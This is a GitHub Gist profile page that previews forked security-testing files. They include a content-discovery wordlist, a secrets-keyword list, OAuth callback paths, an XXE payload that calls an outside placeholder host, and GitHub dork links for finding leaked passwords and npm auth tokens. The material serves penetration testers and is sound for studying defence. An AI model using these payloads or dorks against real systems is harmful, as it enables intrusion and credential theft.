Skip to content

Instantly share code, notes, and snippets.

View n16htb0t's full-sized avatar
💭
I may be slow to respond.

N16htb0t n16htb0t

💭
I may be slow to respond.
View GitHub Profile
@n16htb0t
n16htb0t / content_discovery_all.txt
Created August 12, 2024 12:47 — forked from jhaddix/content_discovery_all.txt
a masterlist of content discovery URLs and files (used most commonly with gobuster)
This file has been truncated, but you can view the full file.
`
~/
~
ים
___
__
_
@n16htb0t
n16htb0t / file.txt
Created August 12, 2024 12:46 — forked from m4ll0k/file.txt
-api
secretaccesskey
dev_key
accesskeyid
eyj
-api-key
-auth
-authorization
-back
-client
@n16htb0t
n16htb0t / alloauth.txt
Created August 12, 2024 12:46 — forked from m4ll0k/alloauth.txt
Social and Services OAuth Sign-In Wordlist
/plaid/mobile/oauth_callback
/callback
/oauth2/idpresponse
/signin-google
/twitter_oauth_signin
/soundcloud_oauth_signin
/23andme_oauth_signin
/500px_oauth_signin
/agave_oauth_signin
/amazon_oauth_signin
@n16htb0t
n16htb0t / XXE_payloads
Created July 1, 2023 01:18 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
echo ""
echo "************ Github Dork Links (must be logged in) *******************"
echo ""
echo " password"
echo "https://github.com/search?q="hackertarget.site"+password&type=Code"
echo "https://github.com/search?q=""hackertarget""+password&type=Code"
echo ""
echo " npmrc _auth"